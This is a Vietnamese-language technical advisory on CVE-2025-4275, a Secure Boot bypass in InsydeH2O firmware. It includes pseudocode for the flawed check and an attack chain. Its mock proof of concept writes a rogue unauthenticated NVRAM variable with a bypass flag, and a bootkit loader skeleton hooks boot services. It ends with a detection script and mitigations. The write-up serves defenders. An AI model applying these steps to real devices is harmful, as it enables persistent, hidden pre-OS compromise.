1. Tổng quan

CVE-2025-4275 (tên định danh Hydroph0bia) là lỗ hổng bypass Secure Boot trong firmware UEFI dựa trên InsydeH2O, do sai sót trong quá trình kiểm tra chữ ký số cho các biến NVRAM.

Thay vì chỉ chấp nhận các biến đã được xác thực, firmware cho phép sử dụng một biến NVRAM không được xác thực (non-authenticated) để tác động đến cơ chế kiểm tra chữ ký, qua đó cho phép nạp và thực thi mã UEFI tùy ý ở giai đoạn trước khi hệ điều hành khởi động.

2. Phân tích kỹ thuật

Gốc rễ của CVE-2025-4275 nằm ở việc xử lý thuộc tính của biến NVRAM trong quá trình kiểm tra chữ ký số cho các thành phần UEFI.

Thay vì bắt buộc các biến cấu hình liên quan đến Secure Boot phải được xác thực (authenticated variables), firmware sử dụng hoặc chấp nhận một biến không được bảo vệ với thuộc tính cho phép ghi không xác thực, ví dụ như cờ EFI_VARIABLE_NON_AUTHENTICATED_WRITE_ACCESS.

2.1. Cơ chế NVRAM và authenticated variables

Theo chuẩn UEFI, các biến quan trọng cho Secure Boot (như PK, KEK, db, dbx) phải là authenticated variables, nghĩa là việc cập nhật chúng phải được ký bằng khóa tin cậy.

InsydeH2O triển khai thêm các biến nội bộ (ví dụ được mô tả là IhisiParamBuffer hoặc biến chứa thông tin chứng chỉ/flash) để truyền tham số cho code update hoặc kiểm tra chữ ký. Nếu biến này không được bảo vệ đúng cách, attacker có thể ghi giá trị tùy ý vào.

2.2. Lỗi logic trong kiểm tra chữ ký

Trong firmware bị ảnh hưởng, luồng xử lý chữ ký có thể được khái quát như sau:

/*
 * Mô hình hóa logic kiểm tra chữ ký bị lỗi (pseudocode).
 * Đây KHÔNG phải code gốc, chỉ là biểu diễn khái niệm.
 */

BOOLEAN VerifyImageSignature(IN IMAGE *Image) {
    SECURE_BOOT_CTX Ctx;

    // 1. Nạp cấu hình/param từ biến NVRAM không được xác thực
    //    (ví dụ: IhisiParamBuffer hoặc biến tương đương).
    NVRAM_VAR Param = GetVariable(L"IhisiParamBuffer", &gInsydeVendorGuid);

    if (Param.Exists) {
        // 2. Sao chép một số field từ biến NVRAM vào context kiểm tra
        Ctx.CertData      = Param.CertData;
        Ctx.CertDataSize  = Param.CertDataSize;
        Ctx.Flags         = Param.Flags;   // Có thể chứa bit "skip verify"
    }

    // 3. Nếu cờ "skip verify" hoặc "trusted cert" được set, code bỏ qua
    //    một số bước xác thực (lỗi thiết kế).
    if (Ctx.Flags & SB_FLAG_TRUST_VAR_CERT) {
        DEBUG((DEBUG_WARN, "SecureBoot: signature bypass via NVRAM flag\n"));
        return TRUE; // BYPASS
    }

    // 4. Ngược lại tiến hành kiểm tra chữ ký đúng chuẩn
    return CryptoVerify(Image->Data, Image->Size, Ctx.CertData, Ctx.CertDataSize);
}
    

Vấn đề nằm ở chỗ biến NVRAM cung cấp Ctx.Flags và Ctx.CertData không phải authenticated variable, nên attacker có thể tạo biến này và đặt cờ cho phép bỏ qua kiểm tra.

2.3. Tương tác với Secure Boot

Khi UEFI nạp một hình ảnh khởi động (bootloader, Option ROM, driver UEFI, v.v.), nó sẽ quyết định cho phép hoặc chặn dựa trên kết quả xác minh chữ ký và database khóa.

Nếu attacker đã cài đặt biến NVRAM "độc", luồng xử lý sẽ tin tưởng chứng chỉ hoặc đơn giản trả về "hợp lệ" mà không thực sự kiểm tra chữ ký, khiến mọi file .efi do attacker chuẩn bị được thực thi với toàn quyền ở chế độ pre-OS.

2.4. Chuỗi tấn công tổng quát

Chuỗi tấn công điển hình:

1. Attacker có quyền admin hoặc quyền ghi firmware/NVRAM trên thiết bị.
2. Attacker tạo hoặc chỉnh sửa biến NVRAM không xác thực:
   - Tên: IhisiParamBuffer (hoặc tên vendor-specific tương đương).
   - GUID: GUID vendor của Insyde.
   - Thuộc tính: EFI_VARIABLE_NON_AUTHENTICATED_WRITE_ACCESS | ... 
   - Dữ liệu: chứa CertData tùy ý + cờ "trust/bypass".
3. Attacker triển khai file bootkit/rootkit .efi (ví dụ: MyEvilBootx64.efi)
   vào vị trí firmware sẽ nạp trong chuỗi Secure Boot (ví dụ phân vùng EFI).
4. Khi thiết bị khởi động lại:
   - Firmware đọc biến NVRAM "độc".
   - Logic bị lỗi đánh dấu payload là hợp lệ.
   - Mã .efi độc hại được thực thi trước OS (Secure Boot bị bypass).
5. Bootkit có thể:
   - Vá kernel, hook driver, ẩn process, disable AV/EDR.
   - Thiết lập backdoor bền vững ngoài tầm kiểm soát của OS.
    

3. PoC khái niệm (mô phỏng)

Phần này trình bày PoC mô phỏng ở mức logic – thể hiện cách một công cụ tấn công có thể tạo biến NVRAM "độc" và chuẩn bị payload. Đây không phải mã khai thác thực tế, chỉ là ví dụ mang tính giáo dục.

3.1. Mã giả tạo biến NVRAM không xác thực

Đoạn code dưới đây mô tả cách một tiện ích UEFI hoặc driver ở chế độ SMM/runtime có thể ghi biến NVRAM với cờ không xác thực, chứa cờ "bypass" và dữ liệu chứng chỉ giả.

/*
 * Pseudocode: Ghi biến NVRAM "IhisiParamBuffer" để bypass VerifyImageSignature()
 * Không phải code thực, không chạy trực tiếp.
 */

#define INSYDE_VENDOR_GUID  { 0x12345678, 0x9abc, 0x4def, \
                              { 0x81, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef } }

typedef struct {
    UINT32 Flags;
    UINT32 CertDataSize;
    UINT8  CertData[4096];
} IHISI_PARAM_BUFFER;

#define SB_FLAG_TRUST_VAR_CERT  0x00000001

EFI_STATUS WriteMaliciousIhisiParamBuffer(VOID) {
    IHISI_PARAM_BUFFER buf;
    ZeroMem(&buf, sizeof(buf));

    buf.Flags = SB_FLAG_TRUST_VAR_CERT;
    buf.CertDataSize = sizeof(fakeCert);
    CopyMem(buf.CertData, fakeCert, sizeof(fakeCert));

    EFI_GUID VendorGuid = INSYDE_VENDOR_GUID;

    // Chú ý: cờ NON_AUTHENTICATED_WRITE_ACCESS chỉ mang tính mô phỏng.
    UINT32 Attributes = EFI_VARIABLE_NON_AUTHENTICATED_WRITE_ACCESS |
                        EFI_VARIABLE_BOOTSERVICE_ACCESS |
                        EFI_VARIABLE_RUNTIME_ACCESS;

    return gRT->SetVariable(L"IhisiParamBuffer",
                            &VendorGuid,
                            Attributes,
                            sizeof(buf),
                            &buf);
}
    

Trong firmware bị lỗi, việc tồn tại biến này với Flags đã set sẽ khiến hàm kiểm tra chữ ký tin rằng chứng chỉ đi kèm là hợp lệ hoặc cho phép bỏ qua một số kiểm tra cần thiết.

3.2. Mô phỏng mã độc UEFI payload

Payload UEFI độc hại thường được viết bằng C, biên dịch thành PE32+/COFF cho môi trường UEFI và được đặt ở phân vùng EFI (ví dụ \EFI\Microsoft\Boot\bootmgfw.efi bị thay thế) hoặc ở vị trí mà firmware đã được cấu hình để nạp.

Ví dụ dưới đây mô tả payload khái niệm: chỉ log ra thông báo và vá một vùng bộ nhớ, nhưng trong thực tế attacker có thể triển khai bootkit phức tạp.

/*
 * Pseudocode: UEFI malicious loader tối giản minh họa
 */

EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    InitializeLib(ImageHandle, SystemTable);

    Print(L"[Hydroph0bia PoC] Secure Boot bypass payload is now running.\n");

    // Ví dụ: vá một entry trong Boot Services hoặc Runtime Services table
    // để hook call sau này (chỉ minh họa, không phải code thực).
    PatchBootServices(SystemTable->BootServices);

    // Tiếp tục chain sang bootloader hợp pháp để tránh gây nghi ngờ.
    return ChainloadOriginalBootloader(ImageHandle, SystemTable);
}
    

3.3. PoC Python mô phỏng kiểm tra cấu hình (offline)

Để test offline ở môi trường lab, ta có thể mô phỏng logic kiểm tra firmware dump: kiểm tra sự tồn tại của biến NVRAM "IhisiParamBuffer" với cờ không xác thực và nội dung bất thường.

#!/usr/bin/env python3
"""
PoC mô phỏng: phân tích dump NVRAM để phát hiện mẫu cấu hình gợi ý khai thác CVE-2025-4275.
Không thực hiện khai thác, chỉ hỗ trợ kiểm tra bảo mật.
"""

import struct

EFI_VARIABLE_NON_AUTHENTICATED_WRITE_ACCESS = 0x00000080

class NvramVar:
    def __init__(self, name, guid, attrs, data):
        self.name = name
        self.guid = guid
        self.attrs = attrs
        self.data = data

def parse_nvram_dump(path):
    # Hàm này giả lập – cách parse thực tế phụ thuộc định dạng dump.
    vars = []
    # ... đọc file, tách biến, append vào vars ...
    return vars

def detect_hydroph0bia_pattern(vars):
    findings = []
    for v in vars:
        if v.name == "IhisiParamBuffer" and \
           (v.attrs & EFI_VARIABLE_NON_AUTHENTICATED_WRITE_ACCESS):
            findings.append(v)
    return findings

if __name__ == "__main__":
    nvvars = parse_nvram_dump("nvram.bin")
    bad = detect_hydroph0bia_pattern(nvvars)
    if bad:
        print("[!] Suspicious IhisiParamBuffer variables found:", len(bad))
    else:
        print("[+] No obvious Hydroph0bia-like patterns detected.")
    

4. Ảnh hưởng & phòng thủ

Khi bị khai thác thành công, attacker có thể triển khai bootkit/rootkit dưới UEFI, vượt ngoài tầm kiểm soát của hệ điều hành và nhiều giải pháp bảo mật truyền thống.

Hậu quả gồm toàn quyền điều khiển hệ thống, theo dõi, đánh cắp dữ liệu, phá hoại hoặc triển khai ransomware với khả năng tồn tại bền vững.

4.1. Điều kiện khai thác

• Thiết bị sử dụng firmware dựa trên InsydeH2O phiên bản chưa vá.
• Attacker có quyền ghi NVRAM hoặc quyền firmware-level (thường tương đương admin/root + khả năng chạy công cụ đặc biệt hoặc từ môi trường offline).
• Secure Boot đang bật nhưng logic kiểm tra chữ ký bị ảnh hưởng bởi biến NVRAM không xác thực.

4.2. Khuyến nghị giảm thiểu

• Cập nhật firmware/BIOS lên phiên bản mới nhất do OEM phát hành, ưu tiên các bản ghi rõ ràng "UEFI Secure Boot vulnerability" hoặc "Hydroph0bia" trong changelog.
• Bật bảo vệ firmware trong BIOS/UEFI (BIOS Lock, SMM protection, Capsule update only, v.v.) nếu nhà sản xuất hỗ trợ.
• Hạn chế quyền admin trên endpoint, giám sát hành vi ghi NVRAM/flash bất thường từ OS (nếu EDR/hệ thống log hỗ trợ).
• Sử dụng công cụ chuyên dụng (ví dụ của vendor hoặc bên thứ ba) để kiểm tra integrity firmware và baseline NVRAM, phát hiện thay đổi đáng ngờ.

5. Tài liệu tham khảo

• CVE entry và mô tả chi tiết về lỗ hổng trong InsydeH2O.
• Bài viết phân tích Hydroph0bia – Secure Boot bypass trên nền tảng UEFI Insyde.
• Báo cáo về các lỗ hổng Secure Boot liên quan (ví dụ CVE-2025-3052) để so sánh mô hình tấn công.